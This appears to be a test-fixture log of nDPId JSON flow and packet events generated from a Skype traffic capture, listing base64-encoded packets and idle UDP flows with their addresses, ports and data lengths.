+00530{"flow_id":200,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1180,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":543722,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"0NQSxnP1PBXCt3IOCABFAAB\/mIxAAEAGV07AqAEinTfrnMOcnE7UANcrM6a2IoAYECxG4AAAAQEICj4jQsFMWRmAJFiH5172Tr0FPBvPxOpG1eCQhpvo82\/0j3xbBUi8uEENQAOEWBWw4BNUSizN2LCnc4hZti8UdSKrYFFO52ztOuM4SeafxGVSGxBB"} +00425{"flow_id":199,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1181,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":582765,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0EtxAADcG5cfVx7OOwKgBIpxDw5sesq09OgI+IoAQAB32ygAAAQEIClAMv+E+I0Kw"} +00512{"flow_id":199,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1182,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":582772,"pkt_caplen":129,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":129,"pkt_l4_len":95,"pkt":"PBXCt3IO0NQSxnP1CABFAABzEt1AADcG5YfVx7OOwKgBIpxDw5sesq09OgI+IoAYAB2wZQAAAQEIClAMv+E+I0KwXfhHd5fkymEOFO2T0M29DlwdRzJ+EXUcfp7AyYGsDA\/q2T6vRi4OuNEGuEeMzrFtsGEed7z9CnOIWbYvFHUi"} +00426{"flow_id":199,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1183,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":582962,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0LWtAAEAGwjjAqAEi1cezjsObnEM6Aj4iHrKtfIAQECrmRgAAAQEICj4jQuhQDL\/h"} +00438{"flow_id":199,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1184,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":583496,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA87R5AAEAGAn3AqAEi1cezjsObnEM6Aj4iHrKtfIAYECovCQAAAQEICj4jQuhQDL\/hxH9LQ46+GKw="} +00438{"flow_id":198,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1185,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":596311,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"PBXCt3IO0NQSxnP1CABFAAA8AABAADcGYg2dN4KtwKgBIpxDw5oq9Bj82fT\/9aASOJAjJwAAAgQFrAQCCApOp72RPiNCegEDAwk="} +00427{"flow_id":198,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1186,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":596419,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0EYdAAEAGR47AqAEinTeCrcOanEPZ9P\/1KvQY\/YAQECx51gAAAQEICj4jQvVOp72R"} +00534{"flow_id":198,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1187,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":596972,"pkt_caplen":142,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":142,"pkt_l4_len":108,"pkt":"0NQSxnP1PBXCt3IOCABFAACA29NAAEAGfPXAqAEinTeCrcOanEPZ9P\/1KvQY\/YAYECxsZwAAAQEICj4jQvVOp72Roj2v1gblxmz1grQUCbmtnoREti8HhLI6SgMZqAyia8h8WMfNOs6A0EF6r7XUTC2tvP0Kc4hZti8UdSKrYFFO52ztOuM4SeafxGVSGw=="} +00425{"flow_id":200,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1188,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":614262,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0r7BAADYGSnWdN+ucwKgBIpxOw5wzprYi1ADXdoAQAB1QBgAAAQEICkxZGZI+I0LB"} +00555{"flow_id":200,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1189,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":615408,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"PBXCt3IO0NQSxnP1CABFAACRr7FAADYGShedN+ucwKgBIpxOw5wzprYi1ADXdoAYAB3dYgAAAQEICkxZGZI+I0LBHpW0LI9Ioyn0A0r8\/9WH8z1BKK8601pstMI\/k7rWVLbhf3yGCn63FKVck\/IhhAxIsGEed7z9CnOIWbYvFHUiq2BRTuds7TrjOEnmn8RlUhsQQX5XHN1qU+g5Fg90"} +00426{"flow_id":200,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1190,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":615473,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0X5FAAEAGkJTAqAEinTfrnMOcnE7UANd2M6a2f4AQECk\/VwAAAQEICj4jQwdMWRmS"} +00437{"flow_id":200,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1191,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":616002,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8S0VAAEAGpNjAqAEinTfrnMOcnE7UANd2M6a2f4AYECk7igAAAQEICj4jQwdMWRmSrtaWXBVsqR0="} +00487{"flow_id":174,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1193,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":670141,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"0NQSxnP1PBXCt3IOCABFAABekahAAEAGEVDAqAEinTc4oMOVAbs\/vde5DvO1MYAYECyq+QAAAQEICj4jQzxNfpP1C\/K+P2bJpeJPHa2PUHDULtdZf\/0zeGwCQKqXzvyh2rxHpWJ9WEovTk91"} +00425{"flow_id":198,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1194,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":728293,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"PBXCt3IO0NQSxnP1CABFAAA0pUxAADcGvMidN4KtwKgBIpxDw5oq9Bj92fUAQYAQAB2JeQAAAQEICk6nvbE+I0L1"} +00498{"flow_id":198,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1195,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":728724,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"PBXCt3IO0NQSxnP1CABFAABnpU1AADcGvJSdN4KtwKgBIpxDw5oq9Bj92fUAQYAYAB1iFgAAAQEICk6nvbE+I0L1z3yazfMdxpBDzF\/iFZDE4SV5\/k6gypL2BDE1Ky\/ecpaL2KW5QLJjI76cB+sOmhhokMH+"} +00425{"flow_id":198,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1196,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":728788,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0EKlAAEAGSGzAqAEinTeCrcOanEPZ9QBBKvQZMIAQECp4uAAAAQEICj4jQ3ZOp72x"} +00437{"flow_id":198,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1197,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":729325,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8GnRAAEAGPpnAqAEinTeCrcOanEPZ9QBBKvQZMIAYECpfLQAAAQEICj4jQ3ZOp72xFzP0mFIZu5U="} +00438{"flow_id":199,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1198,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":925551,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8oiBAAEAGTXvAqAEi1cezjsObnEM6Aj4iHrKtfIAYECottwAAAQEICj4jRDpQDL\/hxH9LQ46+GKw="} +00437{"flow_id":200,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1199,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969689,"pkt_ts_usec":998707,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8uUVAAEAGNtjAqAEinTfrnMOcnE7UANd2M6a2f4AYECk6DgAAAQEICj4jRINMWRmSrtaWXBVsqR0="} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":179,"flow_packet_id":1,"flow_first_seen":1431969683498,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.56.52.37","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":191,"flow_packet_id":1,"flow_first_seen":1431969686992,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":189,"flow_packet_id":1,"flow_first_seen":1431969686726,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":197,"flow_packet_id":1,"flow_first_seen":1431969688514,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.18","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":192,"flow_packet_id":1,"flow_first_seen":1431969686993,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.92","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":190,"flow_packet_id":1,"flow_first_seen":1431969686726,"flow_last_seen":0,"flow_tot_l4_data_len":510,"flow_min_l4_data_len":510,"flow_max_l4_data_len":510,"flow_avg_l4_data_len":510,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00476{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":1,"flow_first_seen":1431969689470,"flow_last_seen":0,"flow_tot_l4_data_len":38,"flow_min_l4_data_len":38,"flow_max_l4_data_len":38,"flow_avg_l4_data_len":38,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"64.4.23.151","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":172,"flow_packet_id":1,"flow_first_seen":1431969682488,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.146","src_port":13021,"dst_port":33033,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":196,"flow_packet_id":1,"flow_first_seen":1431969688514,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.159","src_port":13021,"dst_port":40009,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":173,"flow_packet_id":1,"flow_first_seen":1431969682488,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.28","src_port":13021,"dst_port":40014,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":180,"flow_packet_id":1,"flow_first_seen":1431969683498,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.77.154","src_port":13021,"dst_port":40017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":182,"flow_packet_id":1,"flow_first_seen":1431969684467,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.40","src_port":13021,"dst_port":40018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":186,"flow_packet_id":1,"flow_first_seen":1431969685484,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.31","src_port":13021,"dst_port":40021,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":187,"flow_packet_id":1,"flow_first_seen":1431969686494,"flow_last_seen":0,"flow_tot_l4_data_len":39,"flow_min_l4_data_len":39,"flow_max_l4_data_len":39,"flow_avg_l4_data_len":39,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.29","src_port":13021,"dst_port":40024,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":1,"flow_first_seen":1431969685483,"flow_last_seen":0,"flow_tot_l4_data_len":41,"flow_min_l4_data_len":41,"flow_max_l4_data_len":41,"flow_avg_l4_data_len":41,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.12","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":170,"flow_packet_id":1,"flow_first_seen":1431969681480,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"111.221.74.16","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":194,"flow_packet_id":1,"flow_first_seen":1431969687504,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"65.55.223.29","src_port":13021,"dst_port":40010,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":193,"flow_packet_id":1,"flow_first_seen":1431969687504,"flow_last_seen":0,"flow_tot_l4_data_len":45,"flow_min_l4_data_len":45,"flow_max_l4_data_len":45,"flow_avg_l4_data_len":45,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.168","src_port":13021,"dst_port":40006,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00478{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":165,"flow_packet_id":1,"flow_first_seen":1431969680467,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.56.148","src_port":13021,"dst_port":40010,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":195,"flow_packet_id":1,"flow_first_seen":1431969687504,"flow_last_seen":0,"flow_tot_l4_data_len":35,"flow_min_l4_data_len":35,"flow_max_l4_data_len":35,"flow_avg_l4_data_len":35,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.166","src_port":13021,"dst_port":40015,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":181,"flow_packet_id":1,"flow_first_seen":1431969684467,"flow_last_seen":0,"flow_tot_l4_data_len":33,"flow_min_l4_data_len":33,"flow_max_l4_data_len":33,"flow_avg_l4_data_len":33,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.172","src_port":13021,"dst_port":40019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":188,"flow_packet_id":1,"flow_first_seen":1431969686494,"flow_last_seen":0,"flow_tot_l4_data_len":42,"flow_min_l4_data_len":42,"flow_max_l4_data_len":42,"flow_avg_l4_data_len":42,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.147","src_port":13021,"dst_port":40019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":178,"flow_packet_id":1,"flow_first_seen":1431969683498,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.148","src_port":13021,"dst_port":40019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":171,"flow_packet_id":1,"flow_first_seen":1431969681480,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.159","src_port":13021,"dst_port":40021,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":166,"flow_packet_id":1,"flow_first_seen":1431969680467,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.158","src_port":13021,"dst_port":40031,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":1,"flow_first_seen":1431969689470,"flow_last_seen":0,"flow_tot_l4_data_len":37,"flow_min_l4_data_len":37,"flow_max_l4_data_len":37,"flow_avg_l4_data_len":37,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.235.172","src_port":13021,"dst_port":40032,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":185,"flow_packet_id":1,"flow_first_seen":1431969685483,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"157.55.130.156","src_port":13021,"dst_port":40034,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":203,"flow_packet_id":1,"flow_first_seen":1431969689470,"flow_last_seen":0,"flow_tot_l4_data_len":30,"flow_min_l4_data_len":30,"flow_max_l4_data_len":30,"flow_avg_l4_data_len":30,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.152","src_port":13021,"dst_port":40023,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00480{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","flow_id":169,"flow_packet_id":1,"flow_first_seen":1431969681480,"flow_last_seen":0,"flow_tot_l4_data_len":36,"flow_min_l4_data_len":36,"flow_max_l4_data_len":36,"flow_avg_l4_data_len":36,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.34","dst_ip":"213.199.179.162","src_port":13021,"dst_port":40029,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":198,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1200,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":245271,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8\/lpAAEAGWrLAqAEinTeCrcOanEPZ9QBBKvQZMIAYECpdKgAAAQEICj4jRXlOp72xFzP0mFIZu5U="} +00439{"flow_id":199,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1201,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":401436,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"0NQSxnP1PBXCt3IOCABFAAA8Tc9AAEAGoczAqAEi1cezjsObnEM6Aj4iHrKtfIAYECor3AAAAQEICj4jRhVQDL\/hxH9LQ46+GKw="} +00426{"flow_id":144,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1202,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":435825,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0p15AAEAGF5jAqAEib91KJsOLnE+UB74SG80ZxoARECmNzgAAAQEICj4jRjdNf6OU"} +00426{"flow_id":153,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1203,"source":"skype.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1431969690,"pkt_ts_usec":435825,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"0NQSxnP1PBXCt3IOCABFAAA0OFhAAEAGhp7AqAEib91KJsOPAbu0bGJoDtZB8IARECxGygAAAQEICj4jRjdNf6U4"} 